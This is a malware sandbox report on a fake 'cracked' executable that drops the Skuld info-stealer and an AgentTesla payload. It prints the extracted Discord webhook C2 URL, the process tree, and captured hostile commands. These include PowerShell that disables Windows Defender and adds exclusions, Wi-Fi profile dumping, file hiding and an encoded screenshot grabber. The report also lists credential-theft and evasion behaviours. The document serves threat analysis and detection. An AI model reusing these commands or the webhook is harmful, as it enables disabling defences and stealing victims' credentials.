Overview

overview

10

Static

static

3

saturn x c...it.exe

windows7-x64

10

saturn x c...it.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-06-2024 01:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    saturn x cracked by orbit.exe

  • Size

    8.6MB

  • MD5

    629bb4d3d8694837cdda4bad6464b9aa

  • SHA1

    0616331b40e6fbb001f5f2adc49c3ecebb63a020

  • SHA256

    4c51ff9375051b50a031ed7e7d074c5df73600909233b59cdd385548223ebac5

  • SHA512

    20e5d86ae7b89e738d4d10e2f21fb626ba28468c63102cb99cc4edc3c1e71160bb4532827dd61df0896274b3d310abb25af504475352f8df8ee6fad0742c1c54

  • SSDEEP

    196608:p3D0qXYb/wqGrm+jozwe51xtzwnzy/ESbsRNy9/Tc2HXos4jU:pDg9GC+srcnm/E3yi23osEU

Score
10/10
agentteslaskuldevasionexecutionkeyloggerpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1255093879724838934/SsEHVU-aX3MmFkxUTSWlpgHO_BQXEm4mTt6PNZ_Lt6R3dITGlF8z9KMjLJNZUHXl3DZv

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • Skuld stealer

    An info stealer written in Go lang.

    stealerskuld
  • AgentTesla payload 1 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 4 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 11 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\saturn x cracked by orbit.exe
    "C:\Users\Admin\AppData\Local\Temp\saturn x cracked by orbit.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracker.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3824
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        skuld.exe
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Adds Run key to start application
        • Maps connected drives based on registry
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1424
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
          4⤵
          • Views/modifies file attributes
          PID:3836
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          4⤵
          • Views/modifies file attributes
          PID:760
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3952
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          4⤵
          • Detects videocard installed
          • Suspicious use of AdjustPrivilegeToken
          PID:1064
        • C:\Windows\System32\Wbem\wmic.exe
          wmic os get Caption
          4⤵
            PID:3508
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2172
          • C:\Windows\System32\Wbem\wmic.exe
            wmic cpu get Name
            4⤵
              PID:2864
            • C:\Windows\System32\Wbem\wmic.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:1636
            • C:\Windows\System32\Wbem\wmic.exe
              wmic csproduct get UUID
              4⤵
                PID:3460
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:732
              • C:\Windows\system32\attrib.exe
                attrib -r C:\Windows\System32\drivers\etc\hosts
                4⤵
                • Drops file in Drivers directory
                • Views/modifies file attributes
                PID:1640
              • C:\Windows\system32\attrib.exe
                attrib +r C:\Windows\System32\drivers\etc\hosts
                4⤵
                • Drops file in Drivers directory
                • Views/modifies file attributes
                PID:3444
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                4⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:1160
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of WriteProcessMemory
                PID:2992
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ucwwa1pe\ucwwa1pe.cmdline"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4600
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7119.tmp" "c:\Users\Admin\AppData\Local\Temp\ucwwa1pe\CSCEEBC546792B24EB7895E675ED0B1F1A.TMP"
                    6⤵
                      PID:64
              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Tracker.exe
                tracker.exe
                3⤵
                • Looks for VirtualBox Guest Additions in registry
                • Looks for VMWare Tools registry key
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Maps connected drives based on registry
                • Enumerates system info in registry
                • Suspicious use of AdjustPrivilegeToken
                PID:2560

          Network

          MITRE ATT&CK Enterprise v15

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Event Triggered Execution

          1
          T1546

          Netsh Helper DLL

          1
          T1546.007

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Event Triggered Execution

          1
          T1546

          Netsh Helper DLL

          1
          T1546.007

          Defense Evasion

          Hide Artifacts

          1
          T1564

          Hidden Files and Directories

          1
          T1564.001

          Modify Registry

          2
          T1112

          Subvert Trust Controls

          1
          T1553

          Install Root Certificate

          1
          T1553.004

          Virtualization/Sandbox Evasion

          2
          T1497

          Credential Access

          Unsecured Credentials

          3
          T1552

          Credentials In Files

          3
          T1552.001

          Discovery

          Peripheral Device Discovery

          1
          T1120

          Query Registry

          6
          T1012

          System Information Discovery

          6
          T1082

          Virtualization/Sandbox Evasion

          2
          T1497

          Lateral Movement

          Collection

          Data from Local System

          3
          T1005

          Command and Control

          Web Service

          1
          T1102

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            944B

            MD5

            6d3e9c29fe44e90aae6ed30ccf799ca8

            SHA1

            c7974ef72264bbdf13a2793ccf1aed11bc565dce

            SHA256

            2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

            SHA512

            60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            944B

            MD5

            9c740b7699e2363ac4ecdf496520ca35

            SHA1

            aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9

            SHA256

            be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61

            SHA512

            8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\RES7119.tmp
            Filesize

            1KB

            MD5

            55ebb620bfeb8d11e6fc2aee402f01f2

            SHA1

            965fbbbafa04d65c764df213b9833626937e6745

            SHA256

            ef493fb8212bfb4895a67c735b3674b47b8883216617d2f2be15f64cde7c1b70

            SHA512

            b24500f78af12ed7dbfb2d20f4776addd3676fcae091244d737775699c8566078f2579b3edae6b9e749e648912bbf483bad49565a2125bb2c59504a2db0d1189

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Tracker.exe
            Filesize

            6.3MB

            MD5

            39d350d4d4a8975ed083683eb11ea782

            SHA1

            9e0c952506641a6e2a0d5a1e3e6bb2dc02607327

            SHA256

            47369315cbbf5ed4ff518f3df526177ccb8790bf36a830c37fc634992019d2fa

            SHA512

            2a95c0a0cda0d290cf1462f789c86bdac933918b0ae2176ee21384d74aaba549a1c124ed3cfb62f7d229aecc272a0317836466e5e7b8fb7c837f744f580339c6

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracker.bat
            Filesize

            36B

            MD5

            a8b8a35ef115c2f5c0104a0e217c0c91

            SHA1

            06a4d9a1b3651cad7ca6858644233a713880e3ab

            SHA256

            2a4626968862eca8704a63c2b0711f538e62c8d50e0a5e35a975a98018472a7e

            SHA512

            bbeede131b9895eb4b3b2403dc55ae147dbfa9710eae655ae40029315a10536530d59b3e99032fa45d9784df091af0c333b03d6ef723882da9082ddf8a255c76

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
            Filesize

            9.5MB

            MD5

            a2c0592dba1052c3aafd91b09a55a2ae

            SHA1

            f7972f8605a7f63ffb8159404acd6defefea9984

            SHA256

            638fa15afd651e8fc3bd61164ff2be1d6cd9c01e6add7e97a0841e28c4f7c27d

            SHA512

            a109211106be7b5b48b1a8df54026ac53e6bcb5f16626f9999d1bfcbf7fd147ee2cdeb4dd99941f8903c3376af52a5437a7f1989af445f149468db5b8f8e6d29

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\X8Y1etb0s1\Display (1).png
            Filesize

            260KB

            MD5

            7d1815f1aa4e6ee14968b178a2deacb8

            SHA1

            9f9278f5f9a72be20cb5157ef55d4e7c99ade1c5

            SHA256

            0590e1454d9dbae109987ba927f837a71af9f7c3d6a445aa1f3ad4e196efe7de

            SHA512

            ca63b920a15322ea8031cd4021aa11815cb1ad14fa4cb1c57ed2e3cdceee2e4a159eaf462892dbcda213951825e1c3c8c4cadc2fa0466a8aa213795b4ebf157d

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bbyog4l1.vfq.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\ucwwa1pe\ucwwa1pe.dll
            Filesize

            4KB

            MD5

            1a865329deeb387e7e5d3e0ab3b17623

            SHA1

            7a842d208634b74695b6d4be2aa6dd09e2cb0c0e

            SHA256

            bf6990560b919c57c6308c5db4a842eb05cf7aad620efd770e2430b2d9246d12

            SHA512

            09bfa97ae85b8aa10def2ef489b7bdd92e8ec63941596e07768436977d27b2825bd6630c618fb85e4bcfd40e0f226c8425e1de760bac0ba8cc3da1e3955b596b

            Download Submit

          • C:\Windows\System32\drivers\etc\hosts
            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

            Download Submit

          • \??\c:\Users\Admin\AppData\Local\Temp\ucwwa1pe\CSCEEBC546792B24EB7895E675ED0B1F1A.TMP
            Filesize

            652B

            MD5

            b582862c945f8aa94a2539ad02227ad3

            SHA1

            f62b4d7a2559d63d063971885daac3a72e209f60

            SHA256

            48508961cafd6d21ccd5a3e30b0ef71f591e44e2cc3c615a35410218032262d7

            SHA512

            d6af7e79b63a4522bddd58654607431398305edb6ecf43c9976a4d77a1b31949144873f63da7386161f9d130da8c879467592b414bcd0182cbee7eb8adb1567b

            Download Submit

          • \??\c:\Users\Admin\AppData\Local\Temp\ucwwa1pe\ucwwa1pe.0.cs
            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

            Download Submit

          • \??\c:\Users\Admin\AppData\Local\Temp\ucwwa1pe\ucwwa1pe.cmdline
            Filesize

            607B

            MD5

            b9ecb603946b1bd0cb2bfa341e30edaa

            SHA1

            69b27db70b367481d6548177a8a4629208e88f2a

            SHA256

            3f75d3f3fc3417974e51f86f7269ea4637eb5d79c0b6ed63d19e74cee8f9340a

            SHA512

            cf5fce513923a6980d774c383e9019c1d701bae39c7e4aabb58a850d5d4453041a0ea7dc8ab1c7038a93228132d613b11f74d7b1dc88ba9db4bf67a722164d8f

            Download Submit

          • memory/2172-32-0x000002B752A00000-0x000002B752A22000-memory.dmp

            Filesize

            136KB

            Download

          • memory/2560-21-0x000002A7A1430000-0x000002A7A1442000-memory.dmp

            Filesize

            72KB

            Download

          • memory/2560-20-0x000002A7A1610000-0x000002A7A19E4000-memory.dmp

            Filesize

            3.8MB

            Download

          • memory/2560-94-0x000002A7A1DF0000-0x000002A7A1F99000-memory.dmp

            Filesize

            1.7MB

            Download

          • memory/2560-16-0x000002A7868A0000-0x000002A786EF8000-memory.dmp

            Filesize

            6.3MB

            Download

          • memory/2560-22-0x000002A7A19E0000-0x000002A7A1BF4000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/2560-96-0x00007FFE98213000-0x00007FFE98215000-memory.dmp

            Filesize

            8KB

            Download

          • memory/2560-15-0x00007FFE98213000-0x00007FFE98215000-memory.dmp

            Filesize

            8KB

            Download

          • memory/2560-88-0x000002A7A2B40000-0x000002A7A2BF2000-memory.dmp

            Filesize

            712KB

            Download

          • memory/2560-90-0x000002A7A2C70000-0x000002A7A2CAC000-memory.dmp

            Filesize

            240KB

            Download

          • memory/2992-76-0x000001CDABD00000-0x000001CDABD08000-memory.dmp

            Filesize

            32KB

            Download

          • memory/2992-80-0x000001CDAC0E0000-0x000001CDAC289000-memory.dmp

            Filesize

            1.7MB

            Download